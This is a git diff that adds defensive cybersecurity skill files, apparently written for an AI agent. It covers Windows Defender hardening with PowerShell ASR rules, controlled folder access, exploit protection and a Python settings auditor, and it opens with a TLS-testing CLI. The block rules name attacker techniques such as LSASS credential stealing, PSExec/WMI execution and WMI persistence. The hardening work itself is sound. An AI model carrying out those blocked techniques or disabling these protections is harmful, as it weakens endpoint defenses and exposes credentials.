subparsers.add_parser("test-server", help="Test TLS configuration of a server") + test.add_argument("--host", required=True, help="Server hostname") + test.add_argument("--port", type=int, default=443, help="Server port") + + # Check ciphers + ciphers = subparsers.add_parser("check-ciphers", help="Check supported cipher suites") + ciphers.add_argument("--host", required=True, help="Server hostname") + ciphers.add_argument("--port", type=int, default=443, help="Server port") + + # Generate certificate + cert = subparsers.add_parser("generate-cert", help="Generate self-signed certificate") + cert.add_argument("--domain", required=True, help="Domain name") + cert.add_argument("--output", default="./certs", help="Output directory") + cert.add_argument("--key-type", choices=["ecdsa", "rsa"], default="ecdsa") + + # Generate nginx config + nginx = subparsers.add_parser("generate-nginx", help="Generate nginx TLS config") + nginx.add_argument("--domain", required=True, help="Domain name") + nginx.add_argument("--cert-path", required=True, help="Certificate file path") + nginx.add_argument("--key-path", required=True, help="Private key file path") + nginx.add_argument("--tls12", action="store_true", default=True, help="Enable TLS 1.2") + + # Generate Apache config + apache = subparsers.add_parser("generate-apache", help="Generate Apache TLS config") + apache.add_argument("--domain", required=True, help="Domain name") + apache.add_argument("--cert-path", required=True, help="Certificate file path") + apache.add_argument("--key-path", required=True, help="Private key file path") + + args = parser.parse_args() + + if args.command == "test-server": + result = test_tls_connection(args.host, args.port) + print(json.dumps(result, indent=2, default=str)) + elif args.command == "check-ciphers": + result = check_cipher_suites(args.host, args.port) + print(json.dumps(result, indent=2)) + elif args.command == "generate-cert": + result = generate_self_signed_cert(args.domain, args.output, args.key_type) + print(json.dumps(result, indent=2)) + elif args.command == "generate-nginx": + config = generate_nginx_config(args.domain, args.cert_path, args.key_path, args.tls12) + print(config) + elif args.command == "generate-apache": + config = generate_apache_config(args.domain, args.cert_path, args.key_path) + print(config) + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-windows-defender-advanced-settings/SKILL.md b/skills/configuring-windows-defender-advanced-settings/SKILL.md new file mode 100644 index 00000000..d8969f77 --- /dev/null +++ b/skills/configuring-windows-defender-advanced-settings/SKILL.md @@ -0,0 +1,274 @@ +--- +name: configuring-windows-defender-advanced-settings +description: > + Configures Microsoft Defender for Endpoint (MDE) advanced protection settings including + attack surface reduction rules, controlled folder access, network protection, and exploit + protection. Use when hardening Windows endpoints beyond default Defender settings, deploying + enterprise-grade endpoint protection, or meeting compliance requirements for advanced malware + defense. Activates for requests involving Windows Defender configuration, ASR rules, MDE + tuning, or Microsoft endpoint security. +domain: cybersecurity +subdomain: endpoint-security +tags: [endpoint, windows-security, Microsoft-Defender, ASR, exploit-protection, MDE] +version: 1.0.0 +author: mahipal +license: MIT +--- +# Configuring Windows Defender Advanced Settings + +## When to Use + +Use this skill when: +- Configuring Microsoft Defender for Endpoint (MDE) beyond default settings for enhanced protection +- Implementing Attack Surface Reduction (ASR) rules to block common attack techniques +- Enabling controlled folder access for ransomware protection +- Configuring network protection and exploit protection features +- Deploying Defender settings via Intune, SCCM, or Group Policy at enterprise scale + +**Do not use** this skill for third-party EDR deployment (CrowdStrike, SentinelOne) or for Microsoft Defender for Cloud (Azure workload protection). + +## Prerequisites + +- Windows 10/11 Enterprise with Microsoft Defender Antivirus enabled +- Microsoft 365 E5 or Microsoft Defender for Endpoint Plan 2 license (for full MDE features) +- Microsoft Intune or SCCM for enterprise policy deployment +- Microsoft 365 Defender portal access (security.microsoft.com) +- Endpoints not running third-party AV in active mode (Defender enters passive mode) + +## Workflow + +### Step 1: Configure Attack Surface Reduction (ASR) Rules + +ASR rules block specific behaviors commonly used by malware and attackers: + +```powershell +# Enable ASR rules via PowerShell (or deploy via Intune/GPO) +# Mode: 0=Disabled, 1=Block, 2=Audit, 6=Warn + +# Block executable content from email client and webmail +Set-MpPreference -AttackSurfaceReductionRules_Ids BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550 ` + -AttackSurfaceReductionRules_Actions 1 + +# Block all Office applications from creating child processes +Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A ` + -AttackSurfaceReductionRules_Actions 1 + +# Block Office applications from creating executable content +Set-MpPreference -AttackSurfaceReductionRules_Ids 3B576869-A4EC-4529-8536-B80A7769E899 ` + -AttackSurfaceReductionRules_Actions 1 + +# Block Office applications from injecting code into other processes +Set-MpPreference -AttackSurfaceReductionRules_Ids 75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84 ` + -AttackSurfaceReductionRules_Actions 1 + +# Block JavaScript or VBScript from launching downloaded executable content +Set-MpPreference -AttackSurfaceReductionRules_Ids D3E037E1-3EB8-44C8-A917-57927947596D ` + -AttackSurfaceReductionRules_Actions 1 + +# Block execution of potentially obfuscated scripts +Set-MpPreference -AttackSurfaceReductionRules_Ids 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC ` + -AttackSurfaceReductionRules_Actions 1 + +# Block Win32 API calls from Office macros +Set-MpPreference -AttackSurfaceReductionRules_Ids 92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B ` + -AttackSurfaceReductionRules_Actions 1 + +# Block credential stealing from Windows LSASS +Set-MpPreference -AttackSurfaceReductionRules_Ids 9E6C4E1F-7D60-472F-BA1A-A39EF669E4B2 ` + -AttackSurfaceReductionRules_Actions 1 + +# Block process creations from PSExec and WMI commands +Set-MpPreference -AttackSurfaceReductionRules_Ids D1E49AAC-8F56-4280-B9BA-993A6D77406C ` + -AttackSurfaceReductionRules_Actions 1 + +# Block untrusted and unsigned processes from USB +Set-MpPreference -AttackSurfaceReductionRules_Ids B2B3F03D-6A65-4F7B-A9C7-1C7EF74A9BA4 ` + -AttackSurfaceReductionRules_Actions 1 + +# Block persistence through WMI event subscription +Set-MpPreference -AttackSurfaceReductionRules_Ids E6DB77E5-3DF2-4CF1-B95A-636979351E5B ` + -AttackSurfaceReductionRules_Actions 1 + +# Block abuse of exploited vulnerable signed drivers +Set-MpPreference -AttackSurfaceReductionRules_Ids 56A863A9-875E-4185-98A7-B882C64B5CE5 ` + -AttackSurfaceReductionRules_Actions 1 +``` + +### Step 2: Configure Controlled Folder Access (Ransomware Protection) + +```powershell +# Enable Controlled Folder Access +Set-MpPreference -EnableControlledFolderAccess Enabled + +# Default protected folders: Documents, Pictures, Videos, Music, Desktop, Favorites +# Add custom protected folders +Add-MpPreference -ControlledFolderAccessProtectedFolders "C:\CriticalData" +Add-MpPreference -ControlledFolderAccessProtectedFolders "D:\SharedDrives" + +# Allow specific applications to access protected folders +Add-MpPreference -ControlledFolderAccessAllowedApplications "C:\Program Files\CustomApp\app.exe" +Add-MpPreference -ControlledFolderAccessAllowedApplications "C:\Program Files\Backup\backup.exe" + +# Set to Audit mode first to identify legitimate applications that need access +Set-MpPreference -EnableControlledFolderAccess AuditMode +# Event ID 1124 in Microsoft-Windows-Windows Defender/Operational log +``` + +### Step 3: Configure Network Protection + +```powershell +# Enable Network Protection (blocks connections to malicious domains/IPs) +Set-MpPreference -EnableNetworkProtection Enabled + +# Network Protection leverages Microsoft SmartScreen intelligence +# Blocks: phishing sites, exploit hosting domains, C2 domains, malware download URLs + +# Set to Audit mode first: +Set-MpPreference -EnableNetworkProtection AuditMode +# Event Log: Microsoft-Windows-Windows Defender/Operational, Event ID 1125 + +# Configure Web Content Filtering (requires MDE P2 license) +# Managed via Microsoft 365 Defender portal: +# Settings → Endpoints → Web content filtering → Add policy +# Categories to block: Malware, Phishing, Adult content, High bandwidth +``` + +### Step 4: Configure Exploit Protection + +```powershell +# Export current exploit protection settings +Get-ProcessMitigation -RegistryConfigFilePath "C:\Defender\current_mitigations.xml" + +# Configure system-level mitigations +Set-ProcessMitigation -System -Enable DEP, SEHOP, ForceRelocateImages, BottomUp + +# Configure per-application mitigations +# Example: Harden Microsoft Office against exploitation +Set-ProcessMitigation -Name "WINWORD.EXE" ` + -Enable DEP, SEHOP, ForceRelocateImages, CFG, StrictHandle + +Set-ProcessMitigation -Name "EXCEL.EXE" ` + -Enable DEP, SEHOP, ForceRelocateImages, CFG, StrictHandle + +Set-ProcessMitigation -Name "POWERPNT.EXE" ` + -Enable DEP, SEHOP, ForceRelocateImages, CFG, StrictHandle + +# Import exploit protection configuration from XML template +Set-ProcessMitigation -PolicyFilePath "C:\Defender\exploit_protection_template.xml" +``` + +### Step 5: Configure Cloud-Delivered Protection + +```powershell +# Enable cloud-delivered protection (real-time threat intelligence) +Set-MpPreference -MAPSReporting Advanced +Set-MpPreference -SubmitSamplesConsent SendAllSamples + +# Enable Block at First Sight (BAFS) +# Requires: Cloud protection enabled + sample submission enabled +Set-MpPreference -DisableBlockAtFirstSeen $false + +# Set cloud block timeout to maximum (60 seconds) +Set-MpPreference -CloudBlockLevel High +Set-MpPreference -CloudExtendedTimeout 50 + +# Enable potentially unwanted application (PUA) protection +Set-MpPreference -PUAProtection Enabled +``` + +### Step 6: Configure Scan and Update Settings + +```powershell +# Configure real-time protection +Set-MpPreference -DisableRealtimeMonitoring $false +Set-MpPreference -DisableBehaviorMonitoring $false +Set-MpPreference -DisableIOAVProtection $false +Set-MpPreference -DisableScriptScanning $false + +# Configure scheduled scan +Set-MpPreference -ScanScheduleQuickScanTime 12:00:00 +Set-MpPreference -ScanParameters QuickScan +Set-MpPreference -ScanScheduleDay 0 # Every day +Set-MpPreference -RemediationScheduleDay 0 + +# Configure signature updates +Set-MpPreference -SignatureUpdateInterval 1 # Check every hour +Set-MpPreference -SignatureFallbackOrder "MicrosoftUpdateServer|MMPC" + +# Enable tamper protection (prevents unauthorized changes to Defender settings) +# Managed via Microsoft 365 Defender portal: +# Settings → Endpoints → Advanced features → Tamper Protection: On +``` + +### Step 7: Deploy via Intune (Enterprise) + +``` +Intune Deployment Path: +1. Endpoint Security → Attack Surface Reduction → Create Profile + - Platform: Windows 10 and later + - Profile: Attack surface reduction rules + - Configure each ASR rule to Block or Audit + +2. Endpoint Security → Antivirus → Create Profile + - Microsoft Defender Antivirus + - Configure: Cloud protection, PUA, real-time protection + +3. Endpoint Security → Antivirus → Create Profile + - Microsoft Defender Antivirus Exclusions + - Add path/process/extension exclusions for LOB apps + +4. Devices → Configuration profiles → Create profile + - Endpoint protection → Microsoft Defender Exploit Guard + - Configure: Controlled Folder Access, Network Protection +``` + +### Step 8: Monitor in Microsoft 365 Defender Portal + +``` +Dashboard monitoring: +1. security.microsoft.com → Reports → Endpoints + - Device health: Protection status across fleet + - ASR rule detections: Which rules are triggering + - Vulnerable devices: Missing security updates + +2. Threat analytics: + - Active threat campaigns and Defender coverage + - Recommended security actions + +3. Advanced hunting (KQL): + DeviceEvents + | where ActionType startswith "Asr" + | summarize Count=count() by ActionType, FileName + | sort by Count desc + + DeviceEvents + | where ActionType == "ControlledFolderAccessViolationBlocked" + | project Timestamp, DeviceName, FileName, FolderPath +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **ASR Rules** | Attack Surface Reduction rules that block specific high-risk behaviors at the endpoint level | +| **Controlled Folder Access** | Ransomware protection feature that prevents unauthorized applications from modifying files in protected folders | +| **Network Protection** | Blocks outbound connections to low-reputation or known-malicious domains using SmartScreen intelligence | +| **Exploit Protection** | System and per-application memory mitigations (DEP, ASLR, CFG) to prevent exploitation | +| **BAFS (Block at First Sight)** | Cloud-based zero-day protection that holds suspicious files for cloud analysis before allowing execution | +| **Tamper Protection** | Prevents unauthorized changes to Defender security settings, even by local administrators | + +## Tools & Systems + +- **Microsoft 365 Defender Portal**: security.microsoft.com for centralized management and reporting +- **Microsoft Intune**: Cloud-based endpoint management for Defender policy deployment +- **PowerShell (Set-MpPreference)**: Local configuration of Defender settings +- **WDAC (Windows Defender Application Control)**: Complementary application control technology +- **Microsoft Defender for Endpoint API**: REST API for automation and custom integrations + +## Common Pitfalls + +- **Enabling all ASR rules in Block mode immediately**: Some ASR rules cause false positives with legitimate software (Office macros, admin scripts). Always deploy in Audit mode first and monitor for 2-4 weeks. +- **Not configuring Controlled Folder Access exclusions**: Backup software, database applications, and development tools may be blocked from writing to protected folders. Add exclusions proactively. +- **Ignoring tamper protection**: Without tamper protection, malware or insiders can disable Defender via PowerShell or registry edits. Enable tamper protection through the M365 Defender portal. +- **Running Defender alongside third-party AV**: Defender enters passive mode when third-party AV is present. Ensure you are using the intended AV solution and configure Defender appropriately (EDR-only mode if keeping third-party AV). +- **Forgetting cloud connectivity requirements**: Cloud-delivered protection and BAFS require endpoints to reach Microsoft cloud services. Verify proxy/firewall rules allow Defender cloud traffic. diff --git a/skills/configuring-windows-defender-advanced-settings/assets/template.md b/skills/configuring-windows-defender-advanced-settings/assets/template.md new file mode 100644 index 00000000..2d04367f --- /dev/null +++ b/skills/configuring-windows-defender-advanced-settings/assets/template.md @@ -0,0 +1,93 @@ +# Windows Defender Advanced Configuration Template + +## Environment Information + +| Field | Value | +|-------|-------| +| Endpoint OS | Windows 10/11 Enterprise | +| MDE License | E5 / Defender P2 / Standalone | +| Deployment Method | Intune / SCCM / GPO | +| Configuration Date | | +| Configured By | | + +## ASR Rule Configuration + +| GUID | Rule Name | Mode | Exclusions | +|------|----------|------|------------| +| BE9BA2D9-... | Block executable content from email | Block / Audit | | +| D4F940AB-... | Block Office child processes | Block / Audit | | +| 3B576869-... | Block Office executable creation | Block / Audit | | +| 75668C1F-... | Block Office code injection | Block / Audit | | +| D3E037E1-... | Block JS/VBS launching executables | Block / Audit | | +| 5BEB7EFE-... | Block obfuscated scripts | Block / Audit | | +| 92E97FA1-... | Block Win32 API from macros | Block / Audit | | +| 9E6C4E1F-... | Block LSASS credential stealing | Block / Audit | | +| D1E49AAC-... | Block PSExec/WMI processes | Block / Audit | | +| B2B3F03D-... | Block untrusted USB processes | Block / Audit | | +| E6DB77E5-... | Block WMI persistence | Block / Audit | | +| 56A863A9-... | Block vulnerable signed drivers | Block / Audit | | + +## Controlled Folder Access + +| Setting | Value | +|---------|-------| +| Mode | Enabled / Audit | +| Protected Folders | Default + custom | +| Allowed Applications | | + +### Custom Protected Folders + +| Path | Justification | +|------|--------------| +| | | + +### Allowed Applications + +| Application Path | Reason | +|-----------------|--------| +| | | + +## Network Protection + +| Setting | Value | +|---------|-------| +| Network Protection | Enabled / Audit | +| Web Content Filtering | Enabled / Disabled | +| Blocked Categories | | + +## Cloud Protection + +| Setting | Value | +|---------|-------| +| MAPS Reporting | Advanced | +| Sample Submission | SendAllSamples | +| Block at First Sight | Enabled | +| Cloud Block Level | High | +| Cloud Timeout | 50 seconds | +| Tamper Protection | On | + +## Exclusions Register + +| Type | Value | Reason | Approved By | Review Date | +|------|-------|--------|-------------|-------------| +| Path | | | | | +| Process | | | | | +| Extension | | | | | + +## Validation Checklist + +- [ ] All ASR rules active (Block or Audit) +- [ ] Controlled Folder Access enabled +- [ ] Network Protection enabled +- [ ] Cloud protection set to Advanced +- [ ] Tamper Protection enabled in M365 portal +- [ ] Signature update interval set to hourly +- [ ] PUA protection enabled +- [ ] No excessive exclusions configured + +## Sign-Off + +| Role | Name | Date | +|------|------|------| +| Security Engineer | | | +| Endpoint Admin | | | diff --git a/skills/configuring-windows-defender-advanced-settings/references/standards.md b/skills/configuring-windows-defender-advanced-settings/references/standards.md new file mode 100644 index 00000000..cb478e8a --- /dev/null +++ b/skills/configuring-windows-defender-advanced-settings/references/standards.md @@ -0,0 +1,57 @@ +# Standards & References - Configuring Windows Defender Advanced Settings + +## Primary Standards + +### Microsoft Defender for Endpoint Documentation +- **Publisher**: Microsoft +- **URL**: https://learn.microsoft.com/en-us/defender-endpoint/ +- **Scope**: Complete reference for MDE deployment, configuration, and management +- **Key sections**: ASR rules, exploit protection, network protection, controlled folder access + +### MITRE ATT&CK Mapping for ASR Rules +- **Relevance**: Each ASR rule maps to specific ATT&CK techniques it mitigates +- **Key mappings**: + - Block Office child processes → T1566.001 (Spearphishing Attachment) + - Block credential stealing from LSASS → T1003.001 (OS Credential Dumping: LSASS) + - Block PSExec/WMI → T1047 (WMI), T1570 (Lateral Tool Transfer) + - Block WMI persistence → T1546.003 (WMI Event Subscription) + +### CIS Microsoft Windows 11 Benchmark - Section 18.10 +- **Publisher**: CIS +- **Relevance**: CIS benchmark sections covering Windows Defender configuration settings + +## Compliance Mappings + +| Framework | Requirement | MDE Coverage | +|-----------|------------|-------------| +| PCI DSS 4.0 | 5.2 - Anti-malware mechanisms | Defender AV + ASR rules + cloud protection | +| PCI DSS 4.0 | 5.3.1 - Anti-malware kept current | Automatic signature and engine updates | +| NIST 800-53 | SI-3 Malicious Code Protection | Defender real-time protection + BAFS | +| NIST 800-53 | SI-4 System Monitoring | MDE telemetry + advanced hunting | +| HIPAA | 164.308(a)(5)(ii)(B) - Malware protection | Defender AV + ransomware protection | +| ISO 27001 | A.12.2.1 - Controls against malware | Full MDE stack | +| ACSC E8 | Configure Microsoft Office macro settings | ASR rules for Office macro blocking | + +## ASR Rule Reference + +| GUID | Rule Name | Recommended Mode | +|------|----------|-----------------| +| BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550 | Block executable content from email | Block | +| D4F940AB-401B-4EFC-AADC-AD5F3C50688A | Block Office child processes | Block | +| 3B576869-A4EC-4529-8536-B80A7769E899 | Block Office from creating executables | Block | +| 75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84 | Block Office from injecting into processes | Block | +| D3E037E1-3EB8-44C8-A917-57927947596D | Block JS/VBS launching executables | Block | +| 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC | Block obfuscated scripts | Audit first | +| 92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B | Block Win32 API calls from macros | Block | +| 9E6C4E1F-7D60-472F-BA1A-A39EF669E4B2 | Block credential stealing from LSASS | Block | +| D1E49AAC-8F56-4280-B9BA-993A6D77406C | Block PSExec/WMI process creation | Audit first | +| B2B3F03D-6A65-4F7B-A9C7-1C7EF74A9BA4 | Block untrusted USB processes | Block | +| E6DB77E5-3DF2-4CF1-B95A-636979351E5B | Block WMI event subscription persistence | Block | +| 56A863A9-875E-4185-98A7-B882C64B5CE5 | Block vulnerable signed drivers | Block | + +## Supporting References + +- **ASR Rules Reference**: https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction-rules-reference +- **Controlled Folder Access**: https://learn.microsoft.com/en-us/defender-endpoint/controlled-folders +- **Network Protection**: https://learn.microsoft.com/en-us/defender-endpoint/network-protection +- **Exploit Protection**: https://learn.microsoft.com/en-us/defender-endpoint/exploit-protection diff --git a/skills/configuring-windows-defender-advanced-settings/references/workflows.md b/skills/configuring-windows-defender-advanced-settings/references/workflows.md new file mode 100644 index 00000000..a31b92e2 --- /dev/null +++ b/skills/configuring-windows-defender-advanced-settings/references/workflows.md @@ -0,0 +1,109 @@ +# Workflows - Configuring Windows Defender Advanced Settings + +## Workflow 1: ASR Rule Deployment + +``` +[Identify ASR rules to deploy] + │ + ▼ +[Deploy all rules in Audit mode via Intune/GPO] + │ + ▼ +[Monitor ASR audit events for 2-4 weeks] + │ + ├── Review events in M365 Defender portal + ├── Identify false positives per rule + │ + ▼ +[Create exclusions for legitimate applications] + │ + ▼ +[Switch low-risk rules to Block mode] + │ (Office rules, email content, USB) + │ + ▼ +[Monitor for 1 week] + │ + ├── No issues ──► [Switch remaining rules to Block mode] + │ + └── Issues found ──► [Add exclusions, maintain Audit mode for affected rules] + │ + ▼ + [Re-evaluate after 2 weeks] +``` + +## Workflow 2: Controlled Folder Access Deployment + +``` +[Enable Controlled Folder Access in Audit mode] + │ + ▼ +[Monitor Event ID 1124 for blocked write attempts] + │ + ▼ +[Categorize blocked applications] + │ + ├── Legitimate business app ──► [Add to allowed applications list] + │ + ├── Backup/sync software ──► [Add to allowed applications list] + │ + └── Unknown/suspicious ──► [Investigate, potentially malicious] + │ + ▼ +[Switch to Enabled (Block) mode] + │ + ▼ +[Add custom protected folders beyond defaults] + │ + ▼ +[Ongoing monitoring via M365 Defender dashboard] +``` + +## Workflow 3: Defender Configuration Audit + +``` +[Quarterly Defender Configuration Review] + │ + ▼ +[Export current Defender settings from all endpoints] + │ + ├── PowerShell: Get-MpPreference | Export-Clixml + ├── Intune: Endpoint security reports + │ + ▼ +[Compare against security baseline] + │ + ├── All settings match baseline ──► [Document compliance, next review] + │ + └── Drift detected ──► [Investigate cause] + │ + ├── Unauthorized change ──► [Security incident, restore settings] + │ + └── Authorized exception ──► [Document, update baseline] +``` + +## Workflow 4: False Positive Handling + +``` +[User reports blocked application] + │ + ▼ +[Identify which Defender feature blocked it] + │ + ├── ASR rule ──► [Check ASR event log for specific rule GUID] + │ │ + │ ▼ + │ [Create ASR exclusion for file/folder/process] + │ + ├── Controlled Folder ──► [Add application to allowed list] + │ + ├── Network Protection ──► [Review URL/domain, submit false positive to Microsoft] + │ + └── Real-time AV ──► [Submit file for analysis, create AV exclusion if clean] + │ + ▼ +[Deploy exclusion via Intune/GPO] + │ + ▼ +[Verify application works, document exclusion] +``` diff --git a/skills/configuring-windows-defender-advanced-settings/scripts/process.py b/skills/configuring-windows-defender-advanced-settings/scripts/process.py new file mode 100644 index 00000000..a2442741 --- /dev/null +++ b/skills/configuring-windows-defender-advanced-settings/scripts/process.py @@ -0,0 +1,233 @@ +#!/usr/bin/env python3 +""" +Windows Defender Configuration Auditor + +Collects and audits Microsoft Defender for Endpoint settings across endpoints, +identifies configuration gaps, and generates compliance reports. +""" + +import json +import subprocess +import sys +import os +from datetime import datetime + + +RECOMMENDED_SETTINGS = { + "RealTimeProtectionEnabled": True, + "BehaviorMonitoringEnabled": True, + "IoavProtectionEnabled": True, + "AntispywareEnabled": True, + "AntivirusEnabled": True, + "MAPSReporting": 2, # Advanced + "SubmitSamplesConsent": 3, # SendAllSamples + "PUAProtection": 1, # Enabled + "DisableBlockAtFirstSeen": False, + "CloudBlockLevel": 2, # High + "CloudExtendedTimeout": 50, + "EnableNetworkProtection": 1, # Enabled + "EnableControlledFolderAccess": 1, # Enabled + "SignatureUpdateInterval": 1, # Hourly +} + +RECOMMENDED_ASR_RULES = { + "BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550": {"name": "Block executable content from email", "mode": 1}, + "D4F940AB-401B-4EFC-AADC-AD5F3C50688A": {"name": "Block Office child processes", "mode": 1}, + "3B576869-A4EC-4529-8536-B80A7769E899": {"name": "Block Office executable creation", "mode": 1}, + "75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84": {"name": "Block Office code injection", "mode": 1}, + "D3E037E1-3EB8-44C8-A917-57927947596D": {"name": "Block JS/VBS launching executables", "mode": 1}, + "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC": {"name": "Block obfuscated scripts", "mode": 1}, + "92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B": {"name": "Block Win32 API from macros", "mode": 1}, + "9E6C4E1F-7D60-472F-BA1A-A39EF669E4B2": {"name": "Block LSASS credential stealing", "mode": 1}, + "D1E49AAC-8F56-4280-B9BA-993A6D77406C": {"name": "Block PSExec/WMI processes", "mode": 1}, + "B2B3F03D-6A65-4F7B-A9C7-1C7EF74A9BA4": {"name": "Block untrusted USB processes", "mode": 1}, + "E6DB77E5-3DF2-4CF1-B95A-636979351E5B": {"name": "Block WMI persistence", "mode": 1}, + "56A863A9-875E-4185-98A7-B882C64B5CE5": {"name": "Block vulnerable signed drivers", "mode": 1}, +} + + +def collect_defender_settings() -> dict: + """Collect current Defender settings via PowerShell.""" + ps_cmd = """ + $prefs = Get-MpPreference + $status = Get-MpComputerStatus + $result = @{ + Preferences = @{ + RealTimeProtectionEnabled = $prefs.DisableRealtimeMonitoring -eq $false + BehaviorMonitoringEnabled = $prefs.DisableBehaviorMonitoring -eq $false + IoavProtectionEnabled = $prefs.DisableIOAVProtection -eq $false + AntispywareEnabled = $status.AntispywareEnabled + AntivirusEnabled = $status.AntivirusEnabled + MAPSReporting = $prefs.MAPSReporting + SubmitSamplesConsent = $prefs.SubmitSamplesConsent + PUAProtection = $prefs.PUAProtection + DisableBlockAtFirstSeen = $prefs.DisableBlockAtFirstSeen + CloudBlockLevel = $prefs.CloudBlockLevel + CloudExtendedTimeout = $prefs.CloudExtendedTimeout + EnableNetworkProtection = $prefs.EnableNetworkProtection + EnableControlledFolderAccess = $prefs.EnableControlledFolderAccess + SignatureUpdateInterval = $prefs.SignatureUpdateInterval + } + ASRRules = @{} + Status = @{ + AMEngineVersion = $status.AMEngineVersion + AMProductVersion = $status.AMProductVersion + AntispywareSignatureVersion = $status.AntispywareSignatureVersion + AntivirusSignatureVersion = $status.AntivirusSignatureVersion + AntivirusSignatureLastUpdated = $status.AntivirusSignatureLastUpdated.ToString('o') + FullScanEndTime = if($status.FullScanEndTime) { $status.FullScanEndTime.ToString('o') } else { 'Never' } + QuickScanEndTime = if($status.QuickScanEndTime) { $status.QuickScanEndTime.ToString('o') } else { 'Never' } + RealTimeProtectionEnabled = $status.RealTimeProtectionEnabled + TamperProtectionSource = $status.IsTamperProtected + } + } + $ids = $prefs.AttackSurfaceReductionRules_Ids + $actions = $prefs.AttackSurfaceReductionRules_Actions + if ($ids -and $actions) { + for ($i=0; $i -lt $ids.Count; $i++) { + $result.ASRRules[$ids[$i].ToString().ToUpper()] = $actions[$i] + } + } + $result | ConvertTo-Json -Depth 3 + """ + + try: + result = subprocess.run( + ["powershell", "-NoProfile", "-Command", ps_cmd], + capture_output=True, text=True, timeout=30, + ) + if result.returncode == 0 and result.stdout.strip(): + return json.loads(result.stdout) + else: + return {"error": result.stderr or "Failed to collect Defender settings"} + except FileNotFoundError: + return {"error": "PowerShell not available (requires Windows)"} + except subprocess.TimeoutExpired: + return {"error": "PowerShell command timed out"} + except json.JSONDecodeError as e: + return {"error": f"Failed to parse PowerShell output: {e}"} + + +def audit_settings(settings: dict) -> dict: + """Audit collected settings against recommended baseline.""" + findings = { + "compliant": [], + "non_compliant": [], + "asr_rules": { + "enabled_block": [], + "enabled_audit": [], + "disabled": [], + "missing": [], + }, + "score": 0.0, + } + + prefs = settings.get("Preferences", {}) + total_checks = 0 + passed_checks = 0 + + for setting, expected in RECOMMENDED_SETTINGS.items(): + total_checks += 1 + actual = prefs.get(setting) + + if actual == expected: + passed_checks += 1 + findings["compliant"].append({ + "setting": setting, + "expected": expected, + "actual": actual, + }) + else: + findings["non_compliant"].append({ + "setting": setting, + "expected": expected, + "actual": actual, + "severity": "high" if setting in ( + "RealTimeProtectionEnabled", "AntivirusEnabled", + "EnableNetworkProtection", "MAPSReporting", + ) else "medium", + }) + + asr_rules = settings.get("ASRRules", {}) + for rule_guid, rule_info in RECOMMENDED_ASR_RULES.items(): + total_checks += 1 + mode = asr_rules.get(rule_guid) + + if mode == 1: + passed_checks += 1 + findings["asr_rules"]["enabled_block"].append({ + "guid": rule_guid, "name": rule_info["name"], + }) + elif mode == 2: + findings["asr_rules"]["enabled_audit"].append({ + "guid": rule_guid, "name": rule_info["name"], + }) + elif mode == 0: + findings["asr_rules"]["disabled"].append({ + "guid": rule_guid, "name": rule_info["name"], + }) + else: + findings["asr_rules"]["missing"].append({ + "guid": rule_guid, "name": rule_info["name"], + }) + + if total_checks > 0: + findings["score"] = round((passed_checks / total_checks) * 100, 2) + + return findings + + +def generate_report(settings: dict, findings: dict, output_path: str) -> None: + """Generate configuration audit report.""" + report = { + "report_generated": datetime.utcnow().isoformat() + "Z", + "defender_status": settings.get("Status", {}), + "compliance_score": findings["score"], + "total_compliant": len(findings["compliant"]), + "total_non_compliant": len(findings["non_compliant"]), + "asr_summary": { + "block_mode": len(findings["asr_rules"]["enabled_block"]), + "audit_mode": len(findings["asr_rules"]["enabled_audit"]), + "disabled": len(findings["asr_rules"]["disabled"]), + "not_configured": len(findings["asr_rules"]["missing"]), + }, + "non_compliant_settings": findings["non_compliant"], + "asr_details": findings["asr_rules"], + } + + with open(output_path, "w", encoding="utf-8") as f: + json.dump(report, f, indent=2) + + +if __name__ == "__main__": + output_dir = sys.argv[1] if len(sys.argv) > 1 else "." + + print("Collecting Microsoft Defender settings...") + settings = collect_defender_settings() + + if "error" in settings: + print(f"Error: {settings['error']}") + print("This tool requires Windows with Microsoft Defender for Endpoint.") + sys.exit(1) + + print("Auditing against recommended baseline...") + findings = audit_settings(settings) + + report_path = os.path.join(output_dir, "defender_audit_report.json") + generate_report(settings, findings, report_path) + print(f"Audit report: {report_path}") + + print(f"\n--- Defender Configuration Audit ---") + print(f"Compliance Score: {findings['score']}%") + print(f"Compliant settings: {len(findings['compliant'])}") + print(f"Non-compliant: {len(findings['non_compliant'])}") + print(f"\nASR Rules:") + print(f" Block mode: {len(findings['asr_rules']['enabled_block'])}") + print(f" Audit mode: {len(findings['asr_rules']['enabled_audit'])}") + print(f" Disabled: {len(findings['asr_rules']['disabled'])}") + print(f" Not configured: {len(findings['asr_rules']['missing'])}") + + if findings["non_compliant"]: + print(f"\nNon-compliant settings requiring remediation:") + for item in findings["non_compliant"]: + print(f" [{item['severity'].upper()}] {item['setting']}: expected={item['expected']}, actual={item['actual']}") diff --git a/skills/configuring-windows-event-logging-for-detection/SKILL.md b/skills/configuring-windows-event-logging-for-detection/SKILL.md new file mode 100644 index 00000000..76a294c8 --- /dev/null +++ b/skills/configuring-windows-event-logging-for-detection/SKILL.md @@ -0,0 +1,169 @@ +--- +name: configuring-windows-event-logging-for-detection +description: > + Configures Windows Event Logging with advanced audit policies to generate high-fidelity security + events for threat detection and forensic investigation. Use when enabling audit policies for + logon events, process creation, privilege use, and object access to feed SIEM detection rules. + Activates for requests involving Windows audit policy, event log configuration, security + logging, or detection-oriented logging. +domain: cybersecurity +subdomain: endpoint-security +tags: [endpoint, windows-security, event-logging, audit-policy, detection-engineering] +version: 1.0.0 +author: mahipal +license: MIT +--- +# Configuring Windows Event Logging for Detection + +## When to Use + +Use this skill when: +- Configuring Windows Advanced Audit Policy for security monitoring +- Enabling process creation auditing with command line logging (Event 4688) +- Setting up 